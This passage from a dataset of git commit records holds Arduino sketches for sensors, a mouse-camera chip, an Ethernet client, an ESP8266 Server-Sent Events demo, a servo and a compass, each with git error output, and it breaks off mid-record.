(uint16_t)SWire.read() << 8;\n result |= (uint16_t)SWire.read();\n uint16_t exponent = result >> 12;\n uint16_t fractionalResult = result & (uint16_t)0x0FFF;\n Serial.println(0.01*pow(2, exponent)*fractionalResult);\n }\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OPT3001_w_SWire\/OPT3001_w_SWire.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fef96558e73909ddcdca0d8e6627d0b399721abc","subject":"added mousecam source","message":"added mousecam source\n","repos":"impressivemachines\/Arduino","old_file":"mousecam.ino","new_file":"mousecam.ino","new_contents":"#include \"SPI.h\"\n\n\/\/ these pins may be different on different boards\n\/\/ this is for the uno\n#define PIN_SS 10\n#define PIN_MISO 12\n#define PIN_MOSI 11\n#define PIN_SCK 13\n\n#define PIN_MOUSECAM_RESET 3\n#define PIN_MOUSECAM_CS 2\n\n#define ADNS3080_PIXELS_X 30\n#define ADNS3080_PIXELS_Y 30\n\n#define ADNS3080_PRODUCT_ID 0x00\n#define ADNS3080_REVISION_ID 0x01\n#define ADNS3080_MOTION 0x02\n#define ADNS3080_DELTA_X 0x03\n#define ADNS3080_DELTA_Y 0x04\n#define ADNS3080_SQUAL 0x05\n#define ADNS3080_PIXEL_SUM 0x06\n#define ADNS3080_MAXIMUM_PIXEL 0x07\n#define ADNS3080_CONFIGURATION_BITS 0x0a\n#define ADNS3080_EXTENDED_CONFIG 0x0b\n#define ADNS3080_DATA_OUT_LOWER 0x0c\n#define ADNS3080_DATA_OUT_UPPER 0x0d\n#define ADNS3080_SHUTTER_LOWER 0x0e\n#define ADNS3080_SHUTTER_UPPER 0x0f\n#define ADNS3080_FRAME_PERIOD_LOWER 0x10\n#define ADNS3080_FRAME_PERIOD_UPPER 0x11\n#define ADNS3080_MOTION_CLEAR 0x12\n#define ADNS3080_FRAME_CAPTURE 0x13\n#define ADNS3080_SROM_ENABLE 0x14\n#define ADNS3080_FRAME_PERIOD_MAX_BOUND_LOWER 0x19\n#define ADNS3080_FRAME_PERIOD_MAX_BOUND_UPPER 0x1a\n#define ADNS3080_FRAME_PERIOD_MIN_BOUND_LOWER 0x1b\n#define ADNS3080_FRAME_PERIOD_MIN_BOUND_UPPER 0x1c\n#define ADNS3080_SHUTTER_MAX_BOUND_LOWER 0x1e\n#define ADNS3080_SHUTTER_MAX_BOUND_UPPER 0x1e\n#define ADNS3080_SROM_ID 0x1f\n#define ADNS3080_OBSERVATION 0x3d\n#define ADNS3080_INVERSE_PRODUCT_ID 0x3f\n#define ADNS3080_PIXEL_BURST 0x40\n#define ADNS3080_MOTION_BURST 0x50\n#define ADNS3080_SROM_LOAD 0x60\n\n#define ADNS3080_PRODUCT_ID_VAL 0x17\n\nvoid mousecam_reset()\n{\n digitalWrite(PIN_MOUSECAM_RESET,HIGH);\n delay(1); \/\/ reset pulse >10us\n digitalWrite(PIN_MOUSECAM_RESET,LOW);\n delay(35); \/\/ 35ms from reset to functional\n}\n\nint mousecam_init()\n{\n pinMode(PIN_MOUSECAM_RESET,OUTPUT);\n pinMode(PIN_MOUSECAM_CS,OUTPUT);\n \n digitalWrite(PIN_MOUSECAM_CS,HIGH);\n \n mousecam_reset();\n \n int pid = mousecam_read_reg(ADNS3080_PRODUCT_ID);\n if(pid != ADNS3080_PRODUCT_ID_VAL)\n return -1;\n\n \/\/ turn on sensitive mode\n mousecam_write_reg(ADNS3080_CONFIGURATION_BITS, 0x19);\n\n return 0;\n}\n\nvoid mousecam_write_reg(int reg, int val)\n{\n digitalWrite(PIN_MOUSECAM_CS, LOW);\n SPI.transfer(reg | 0x80);\n SPI.transfer(val);\n digitalWrite(PIN_MOUSECAM_CS,HIGH);\n delayMicroseconds(50);\n}\n\nint mousecam_read_reg(int reg)\n{\n digitalWrite(PIN_MOUSECAM_CS, LOW);\n SPI.transfer(reg);\n delayMicroseconds(75);\n int ret = SPI.transfer(0xff);\n digitalWrite(PIN_MOUSECAM_CS,HIGH); \n delayMicroseconds(1);\n return ret;\n}\n\nstruct MD\n{\n byte motion;\n char dx, dy;\n byte squal;\n word shutter;\n byte max_pix;\n};\n\nvoid mousecam_read_motion(struct MD *p)\n{\n digitalWrite(PIN_MOUSECAM_CS, LOW);\n SPI.transfer(ADNS3080_MOTION_BURST);\n delayMicroseconds(75);\n p->motion = SPI.transfer(0xff);\n p->dx = SPI.transfer(0xff);\n p->dy = SPI.transfer(0xff);\n p->squal = SPI.transfer(0xff);\n p->shutter = SPI.transfer(0xff)<<8;\n p->shutter |= SPI.transfer(0xff);\n p->max_pix = SPI.transfer(0xff);\n digitalWrite(PIN_MOUSECAM_CS,HIGH); \n delayMicroseconds(5);\n}\n\n\/\/ pdata must point to an array of size ADNS3080_PIXELS_X x ADNS3080_PIXELS_Y\n\/\/ you must call mousecam_reset() after this if you want to go back to normal operation\nint mousecam_frame_capture(byte *pdata)\n{\n mousecam_write_reg(ADNS3080_FRAME_CAPTURE,0x83);\n \n digitalWrite(PIN_MOUSECAM_CS, LOW);\n \n SPI.transfer(ADNS3080_PIXEL_BURST);\n delayMicroseconds(50);\n \n int pix;\n byte started = 0;\n int count;\n int timeout = 0;\n int ret = 0;\n for(count = 0; count < ADNS3080_PIXELS_X * ADNS3080_PIXELS_Y; )\n {\n pix = SPI.transfer(0xff);\n delayMicroseconds(10);\n if(started==0)\n {\n if(pix&0x40)\n started = 1;\n else\n {\n timeout++;\n if(timeout==100)\n {\n ret = -1;\n break;\n }\n }\n }\n if(started==1)\n {\n pdata[count++] = (pix & 0x3f)<<2; \/\/ scale to normal grayscale byte range\n }\n }\n\n digitalWrite(PIN_MOUSECAM_CS,HIGH); \n delayMicroseconds(14);\n \n return ret;\n}\n\nvoid setup() \n{\n pinMode(PIN_SS,OUTPUT);\n pinMode(PIN_MISO,INPUT);\n pinMode(PIN_MOSI,OUTPUT);\n pinMode(PIN_SCK,OUTPUT);\n \n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV32);\n SPI.setDataMode(SPI_MODE3);\n SPI.setBitOrder(MSBFIRST);\n \n Serial.begin(38400);\n\n if(mousecam_init()==-1)\n {\n Serial.println(\"Mouse cam failed to init\");\n while(1);\n } \n}\n\nchar asciiart(int k)\n{\n static char foo[] = \"WX86*3I>!;~:,`. \";\n return foo[k>>4];\n}\n\nbyte frame[ADNS3080_PIXELS_X * ADNS3080_PIXELS_Y];\n\nvoid loop() \n{\n #if 0\n \n \/\/ if enabled this section grabs frames and outputs them as ascii art\n \n if(mousecam_frame_capture(frame)==0)\n {\n int i,j,k;\n for(i=0, k=0; i<ADNS3080_PIXELS_Y; i++) \n {\n for(j=0; j<ADNS3080_PIXELS_X; j++, k++) \n {\n Serial.print(asciiart(frame[k]));\n Serial.print(' ');\n }\n Serial.println();\n }\n }\n Serial.println();\n delay(250);\n \n #else\n \n \/\/ if enabled this section produces a bar graph of the surface quality that can be used to focus the camera\n \/\/ also drawn is the average pixel value 0-63 and the shutter speed and the motion dx,dy.\n \n int val = mousecam_read_reg(ADNS3080_PIXEL_SUM);\n MD md;\n mousecam_read_motion(&md);\n for(int i=0; i<md.squal\/4; i++)\n Serial.print('*');\n Serial.print(' ');\n Serial.print((val*100)\/351);\n Serial.print(' ');\n Serial.print(md.shutter); Serial.print(\" (\");\n Serial.print((int)md.dx); Serial.print(',');\n Serial.print((int)md.dy); Serial.println(')');\n \/\/ Serial.println(md.max_pix);\n delay(100);\n \n #endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mousecam.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ecc6f2fab4b45d2f4fb206e899313b7b91bb2259","subject":"zadania","message":"zadania\n","repos":"iCarrrot\/Current_university,iCarrrot\/Current_university,iCarrrot\/Current_university,iCarrrot\/Current_university","old_file":"SysWbud\/lista 4\/z19\/z19.ino","new_file":"SysWbud\/lista 4\/z19\/z19.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SysWbud\/lista' did not match any file(s) known to git\nerror: pathspec '4\/z19\/z19.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0c0225fc022ba40e4f71e834c7545f53b9b332a7","subject":"Update Life program to use 'Copperhead'","message":"Update Life program to use 'Copperhead'\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"conway-life-128x64\/conway-life-128x64.ino","new_file":"conway-life-128x64\/conway-life-128x64.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3a06ae28ef17af201f434b406e6b80e5928e662d","subject":"Se agrega el codigo fuente de arduino para hacer peticion GET a traves de Ethernet","message":"Se agrega el codigo fuente de arduino para hacer peticion GET a traves de Ethernet\n","repos":"JorgeUlises\/parqueaderos,JorgeUlises\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,JorgeUlises\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,JorgeUlises\/parqueaderos","old_file":"hardware\/RequestGet\/Prueba1.ino","new_file":"hardware\/RequestGet\/Prueba1.ino","new_contents":"\/*\n Web client\n\n This sketch connects to a website (http:\/\/www.google.com)\n using an Arduino Wiznet Ethernet shield.\n\n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n\n created 18 Dec 2009\n by David A. Mellis\n modified 9 Apr 2012\n by Tom Igoe, based on work by Adrian McEwen\n\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\nIPAddress server(192,168,1,100); \/\/ numeric IP for Google (no DNS)\n\/\/char server[] = \"192.168.1.100\"; \/\/ name address for Google (using DNS)\n\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192, 168, 1, 177);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, ip);\n }\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(\"connecting...\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 8080)) {\n Serial.println(\"connected\");\n \/\/ Make a HTTP request:\n client.println(\"GET \/ HTTP\/1.1\");\n client.println(\"Host: 192.168.1.100\");\n client.println(\"Cookie: 324234\");\n client.println(\"Connection: close\");\n client.println();\n } else {\n \/\/ if you didn't get a connection to the server:\n Serial.println(\"connection failed\");\n }\n}\n\nvoid loop() {\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n\n \/\/ do nothing forevermore:\n while (true);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/RequestGet\/Prueba1.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c82574db834f986eaaa07ca8ae7ae642e47e9e64","subject":"clean the code","message":"clean the code\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/https_ota\/https_ota.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/https_ota\/https_ota.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4519db85e981c6e505828baf94e8107a76db4f1a","subject":"Server Sent Events example - issue #7008 (#7012)","message":"Server Sent Events example - issue #7008 (#7012)\n\n* Server Sent Events example - issue #7008\r\n\r\nIllustrates the use of SSE using ESP8266WebServer\r\n\r\n* Update ServerSentEvents.ino\r\n\r\n* Create ServerSentEventsMultiClient.ino\r\n\r\n* sync\r\n\r\n* Update ServerSentEvents.ino\r\n\r\n* Update ServerSentEvents.ino\r\n\r\nFix missing variables in printf statments\r\nFix subscriptioncount not decreasing\r\nFix SSEBroadcastState (argument sequence wrong)\r\n\r\n* Undo the library additions, move to current master\r\n\r\n* Fix compiler warning\r\n\r\n* Address review and fix multi-sensor updates\r\n\r\nAddress points of @devyte's code review:\r\n* Use IPAddress vs. uint32_t\r\n* Refactor the URL parsing logic to use strlen vs. sizeof, since there\r\n was some confusion in the original (correct) version\r\n* Minimize copies of WiFiClients while in use\r\n* Use byref access for sensor updates\r\n\r\nFix multi-sensor updates\r\n* Create an update Ticker for each sensor, because the original code\r\n only had one whose callback was overridden by sensorB, meaning sensorA\r\n never changed\r\n\r\n* Fix IPv6 build errors\r\n\r\n* Remove WiFiClient extraneous copy\r\n\r\nAvoid duplicating WiFiClient by using the WiFiClient object embedded in\r\nthe subscriber[] array instead.\r\n\r\nCo-authored-by: Earle F. Philhower, III <b975f4b1c5caae6e97f4176d8d8fd74a76ae1551@yahoo.com>","repos":"sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,sticilface\/Arduino,esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino","old_file":"libraries\/ESP8266WebServer\/examples\/ServerSentEvents\/ServerSentEvents.ino","new_file":"libraries\/ESP8266WebServer\/examples\/ServerSentEvents\/ServerSentEvents.ino","new_contents":"\/* Multi-client Server Sent Event (aka EventSource) demo\n Run demo as follows:\n 1. set SSID, password and ports, compile and run program\n you should see (random) updates of sensors A and B\n\n 2. on the client(s), register it for the event bus using a REST API call: curl -sS \"http:\/\/<your ESP IP>:<your port>\/rest\/events\/subscribe\"\n on both server and client, you should now see that your client is registered\n the server sends back the location of the event bus (channel) to the client:\n subscription for client IP <your client's IP address>: event bus location: http:\/\/<your ESP IP>:<your port>\/rest\/events\/<channel>\n\n you will also see that the sensors are ready to broadcast state changes, but the client is not yet listening:\n SSEBroadcastState - client <your client IP>> registered but not listening\n\n 3. on the client(s), start listening for events with: curl -sS \"http:\/\/<your ESP IP>:<your port>\/rest\/events\/<channel>\"\n if all is well, the following is being displayed on the ESP console\n SSEHandler - registered client with IP <your client IP address> is listening...\n broadcast status change to client IP <your client IP>> for sensor[A|B] with new state <some number>>\n every minute you will see on the ESP: SSEKeepAlive - client is still connected\n\n on the client, you should see the SSE messages coming in:\n event: event\n data: { \"TYPE\":\"KEEP-ALIVE\" }\n event: event\n data: { \"TYPE\":\"STATE\", \"sensorB\": {\"state\" : 12408, \"prevState\": 13502} }\n event: event\n data: { \"TYPE\":\"STATE\", \"sensorA\": {\"state\" : 17664, \"prevState\": 49362} }\n\n 4. on the client, stop listening by hitting control-C\n on the ESP, after maximum one minute, the following message is displayed: SSEKeepAlive - client no longer connected, remove subscription\n if you start listening again after the time expired, the \"\/rest\/events\" handle becomes stale and \"Handle not found\" is returned\n you can also try to start listening again before the KeepAliver timer expires or simply register your client again\n*\/\n\nextern \"C\" {\n#include \"c_types.h\"\n}\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Ticker.h>\n\n#ifndef STASSID\n#define STASSID \"your-ssid\"\n#define STAPSK \"your-password\"\n#endif\n\nconst char* ssid = STASSID;\nconst char* password = STAPSK;\nconst unsigned int port = 80;\n\nESP8266WebServer server(port);\n\n#define SSE_MAX_CHANNELS 8 \/\/ in this simplified example, only eight SSE clients subscription allowed\nstruct SSESubscription {\n IPAddress clientIP;\n WiFiClient client;\n Ticker keepAliveTimer;\n} subscription[SSE_MAX_CHANNELS];\nuint8_t subscriptionCount = 0;\n\ntypedef struct {\n const char *name;\n unsigned short value;\n Ticker update;\n} sensorType;\nsensorType sensor[2];\n\nvoid handleNotFound() {\n Serial.println(F(\"Handle not found\"));\n String message = \"Handle Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n\nvoid SSEKeepAlive() {\n for (uint8_t i = 0; i < SSE_MAX_CHANNELS; i++) {\n if (!(subscription[i].clientIP)) {\n continue;\n }\n if (subscription[i].client.connected()) {\n Serial.printf_P(PSTR(\"SSEKeepAlive - client is still listening on channel %d\\n\"), i);\n subscription[i].client.println(F(\"event: event\\ndata: { \\\"TYPE\\\":\\\"KEEP-ALIVE\\\" }\\n\")); \/\/ Extra newline required by SSE standard\n } else {\n Serial.printf_P(PSTR(\"SSEKeepAlive - client not listening on channel %d, remove subscription\\n\"), i);\n subscription[i].keepAliveTimer.detach();\n subscription[i].client.flush();\n subscription[i].client.stop();\n subscription[i].clientIP = INADDR_NONE;\n subscriptionCount--;\n }\n }\n}\n\n\/\/ SSEHandler handles the client connection to the event bus (client event listener)\n\/\/ every 60 seconds it sends a keep alive event via Ticker\nvoid SSEHandler(uint8_t channel) {\n WiFiClient client = server.client();\n SSESubscription &s = subscription[channel];\n if (s.clientIP != client.remoteIP()) { \/\/ IP addresses don't match, reject this client\n Serial.printf_P(PSTR(\"SSEHandler - unregistered client with IP %s tries to listen\\n\"), server.client().remoteIP().toString().c_str());\n return handleNotFound();\n }\n client.setNoDelay(true);\n client.setSync(true);\n Serial.printf_P(PSTR(\"SSEHandler - registered client with IP %s is listening\\n\"), IPAddress(s.clientIP).toString().c_str());\n s.client = client; \/\/ capture SSE server client connection\n server.setContentLength(CONTENT_LENGTH_UNKNOWN); \/\/ the payload can go on forever\n server.sendContent_P(PSTR(\"HTTP\/1.1 200 OK\\nContent-Type: text\/event-stream;\\nConnection: keep-alive\\nCache-Control: no-cache\\nAccess-Control-Allow-Origin: *\\n\\n\"));\n s.keepAliveTimer.attach_scheduled(30.0, SSEKeepAlive); \/\/ Refresh time every 30s for demo\n}\n\nvoid handleAll() {\n const char *uri = server.uri().c_str();\n const char *restEvents = PSTR(\"\/rest\/events\/\");\n if (strncmp_P(uri, restEvents, strlen_P(restEvents))) {\n return handleNotFound();\n }\n uri += strlen_P(restEvents); \/\/ Skip the \"\/rest\/events\/\" and get to the channel number\n unsigned int channel = atoi(uri);\n if (channel < SSE_MAX_CHANNELS) {\n return SSEHandler(channel);\n }\n handleNotFound();\n};\n\nvoid SSEBroadcastState(const char *sensorName, unsigned short prevSensorValue, unsigned short sensorValue) {\n for (uint8_t i = 0; i < SSE_MAX_CHANNELS; i++) {\n if (!(subscription[i].clientIP)) {\n continue;\n }\n String IPaddrstr = IPAddress(subscription[i].clientIP).toString();\n if (subscription[i].client.connected()) {\n Serial.printf_P(PSTR(\"broadcast status change to client IP %s on channel %d for %s with new state %d\\n\"),\n IPaddrstr.c_str(), i, sensorName, sensorValue);\n subscription[i].client.printf_P(PSTR(\"event: event\\ndata: {\\\"TYPE\\\":\\\"STATE\\\", \\\"%s\\\":{\\\"state\\\":%d, \\\"prevState\\\":%d}}\\n\\n\"),\n sensorName, sensorValue, prevSensorValue);\n } else {\n Serial.printf_P(PSTR(\"SSEBroadcastState - client %s registered on channel %d but not listening\\n\"), IPaddrstr.c_str(), i);\n }\n }\n}\n\n\/\/ Simulate sensors\nvoid updateSensor(sensorType &sensor) {\n unsigned short newVal = (unsigned short)RANDOM_REG32; \/\/ (not so good) random value for the sensor\n Serial.printf_P(PSTR(\"update sensor %s - previous state: %d, new state: %d\\n\"), sensor.name, sensor.value, newVal);\n if (sensor.value != newVal) {\n SSEBroadcastState(sensor.name, sensor.value, newVal); \/\/ only broadcast if state is different\n }\n sensor.value = newVal;\n sensor.update.once(rand() % 20 + 10, std::bind(updateSensor, sensor)); \/\/ randomly update sensor\n}\n\nvoid handleSubscribe() {\n if (subscriptionCount == SSE_MAX_CHANNELS - 1) {\n return handleNotFound(); \/\/ We ran out of channels\n }\n\n uint8_t channel;\n IPAddress clientIP = server.client().remoteIP(); \/\/ get IP address of client\n String SSEurl = F(\"http:\/\/\");\n SSEurl += WiFi.localIP().toString();\n SSEurl += F(\":\");\n SSEurl += port;\n size_t offset = SSEurl.length();\n SSEurl += F(\"\/rest\/events\/\");\n\n ++subscriptionCount;\n for (channel = 0; channel < SSE_MAX_CHANNELS; channel++) \/\/ Find first free slot\n if (!subscription[channel].clientIP) {\n break;\n }\n subscription[channel] = {clientIP, server.client(), Ticker()};\n SSEurl += channel;\n Serial.printf_P(PSTR(\"Allocated channel %d, on uri %s\\n\"), channel, SSEurl.substring(offset).c_str());\n \/\/server.on(SSEurl.substring(offset), std::bind(SSEHandler, &(subscription[channel])));\n Serial.printf_P(PSTR(\"subscription for client IP %s: event bus location: %s\\n\"), clientIP.toString().c_str(), SSEurl.c_str());\n server.send_P(200, \"text\/plain\", SSEurl.c_str());\n}\n\nvoid startServers() {\n server.on(F(\"\/rest\/events\/subscribe\"), handleSubscribe);\n server.onNotFound(handleAll);\n server.begin();\n Serial.println(\"HTTP server and SSE EventSource started\");\n}\n\nvoid setup(void) {\n Serial.begin(115200);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n while (WiFi.status() != WL_CONNECTED) { \/\/ Wait for connection\n delay(500);\n Serial.print(\".\");\n }\n Serial.printf_P(PSTR(\"\\nConnected to %s with IP address: %s\\n\"), ssid, WiFi.localIP().toString().c_str());\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n startServers(); \/\/ start web and SSE servers\n sensor[0].name = \"sensorA\";\n sensor[1].name = \"sensorB\";\n updateSensor(sensor[0]);\n updateSensor(sensor[1]);\n}\n\nvoid loop(void) {\n server.handleClient();\n MDNS.update();\n yield();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WebServer\/examples\/ServerSentEvents\/ServerSentEvents.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"dbdaf9fb48f543a5f7f5faee14d7539b78d43a47","subject":"Initial empty sketch","message":"Initial empty sketch\n","repos":"platisd\/scrumtato","old_file":"firmware\/StandupPotato\/StandupPotato.ino","new_file":"firmware\/StandupPotato\/StandupPotato.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/StandupPotato\/StandupPotato.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f638068053d6d710c6535035acf1d8db7384e74d","subject":"Add Breakout 1 code","message":"Add Breakout 1 code","repos":"ieee-uiuc\/arduino-workshop,ieee-uiuc\/arduino-workshop","old_file":"software\/breakout_1\/Breakout1.ino","new_file":"software\/breakout_1\/Breakout1.ino","new_contents":"\/\/ This program controls a servo using a Piezo sensor\n\/\/ If the Arduino detects movement from the Piezo sensor, rotate the servo\n\/\/ If the servo hits its maximum position (360ish), reset the servo position to 0 and continue onwards\n\n\/\/ import the Servo library from Arduino\n#include <Servo.h>\n\n\/\/ initialize a global variable to track position\nint pos = 0;\n\n\/\/ initialize a servo object for the code to use\nServo servo;\n\nvoid setup() {\n \/\/ open the serial connection at 9600 BAUD\n Serial.begin(9600);\n \n \/\/ tell the servo object what pin to output to\n servo.attach(10);\n}\n \n \nvoid loop() {\n \/\/ store the value read from pin 0 into a variable\n int sensorValue = analogRead(0);\n \/\/Serial.print(sensorValue);\n \n \/\/ if the piezo sensor detects a touch, move the servo\n if(sensorValue < 10) {\n \/\/Serial.print(pos);\n \n \/\/ if the servo position is already at its maximum, reset the servo's position\n if(pos > 300) {\n pos = 0;\n servo.write(pos);\n delay(50);\n }\n \n \/\/ increment the position by 1\n pos++;\n servo.write(pos);\n delay(15);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/breakout_1\/Breakout1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c53fd1e02d90a1356fc528b0364eb3aa452576a0","subject":"clean up alarm code","message":"clean up alarm code\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"78920eb48678ef6298cb1ce8fab3a46eb3412909","subject":"added example","message":"added example\n","repos":"labfruits\/mcp3208","old_file":"examples\/adc_sample\/adc_sample.ino","new_file":"examples\/adc_sample\/adc_sample.ino","new_contents":"\/**\n * Basic ADC reading example.\n * - connects to ADC\n * - reads value from channel\n * - converts value to analog voltage\n *\/\n\n#include <SPI.h>\n#include <Mcp3208.h>\n\n#define SPI_CS \t2 \t\t \/\/ SPI slave select\n#define ADC_VREF 3300 \/\/ 3.3V Vref\n#define ADC_CLK 1600000 \/\/ SPI clock 1.6MHz\n\n\nMcp3208 adc(ADC_VREF, SPI_CS);\n\nvoid setup() {\n\n \/\/ configure PIN mode\n pinMode(SPI_CS, OUTPUT);\n\n \/\/ set initial PIN state\n digitalWrite(SPI_CS, HIGH);\n\n \/\/ initialize serial\n Serial.begin(115200);\n\n \/\/ initialize SPI interface for MCP3208\n\tSPISettings settings(ADC_CLK, MSBFIRST, SPI_MODE0);\n SPI.begin();\n SPI.beginTransaction(settings);\n}\n\nvoid loop() {\n\n uint32_t t1;\n\tuint32_t t2;\n\n \/\/ start sampling\n Serial.println(\"Reading...\");\n\n t1 = micros();\n uint16_t raw = adc.read(MCP3208::SINGLE_0);\n\tt2 = micros();\n\n \/\/ get analog value\n uint16_t val = adc.toAnalog(raw);\n\n \/\/ readed value\n Serial.print(\"value: \");\n Serial.print(raw);\n Serial.print(\" (\");\n Serial.print(val);\n Serial.println(\" mV)\");\n\n \/\/ sampling time\n Serial.print(\"Sampling time: \");\n\tSerial.print(static_cast<double>(t2 - t1) \/ 1000, 4);\n Serial.println(\"ms\");\n\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adc_sample\/adc_sample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a267958bfabfc7b9e9cfc48544fbca1acf609eb4","subject":"added compass example","message":"added compass example\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"ZumoMotors\/examples\/CompassExample\/CompassExample.ino","new_file":"ZumoMotors\/examples\/CompassExample\/CompassExample.ino","new_contents":"#include <ZumoMotors.h>\n#include <Wire.h>\n#include <LSM303.h>\n\n\/* This example uses ZumoMotors, Wire, and LSM303 (compass) library to \n * drive the Zumo in squares. To do this, the Zumo first calibrates to\n * find North and East. Calibration is accomplished in setup().\n * In loop(), The driving angle then changes its offset by 90 degrees \n * from the heading every second. Essentially, this navigates the\n * Zumo to drive in square patterns.\n *\n * It is important to note that electronics, buildings, and environment\n * may adversly affect readings from the LSM303 compass. \n *\/\n \n#define SPEED 200\n#define DEVIATION 5\n#define CALISIZE 70\n#define CRA_REG_M 0x00 \/\/ magnetometer control register location\n#define CRA_REG_M_220HZ 0x1C \/\/ reg value 220 Hz update rate for magnetometer\n\n\/*\tPublic variables that may be used for compass are:\n *\tm_min - minimum magnetic vector\n *\tm_max - maximum magnetic vector\n *\tm - magnetic vector\n *\ta - acceleration vector\n *\/\n\nZumoMotors motors;\nLSM303 compass;\nint heading,relativeHeading;\nLSM303::vector averageHeading;\n\n\/\/ The highest possible magnetic value to read in any direction is 2047\n\/\/ The lowest possible magnetic value to read in any direction is -2047\nLSM303::vector running_min = {2047, 2047, 2047}, running_max = {-2048, -2048, -2048};\nint drivingAngle = 0;\n\n\/\/ deviateRightAngle, stands for deviated angle on right side of the driving angle. \n\/\/ If we are within DEVIATION degrees relative to the driving angle, then we drive straight.\nint deviateRightAngle = DEVIATION;\nint deviateLeftAngle = 360 - DEVIATION;\n\n\/\/ Setup will calibrate our compass\n\/\/ We calibrate by finding maximum\/minimum magnetic readings\nvoid setup() \n{ \n unsigned long index;\n Serial.begin(9600);\n Serial.println(\"starting calibration\");\n \/\/ Initiate the 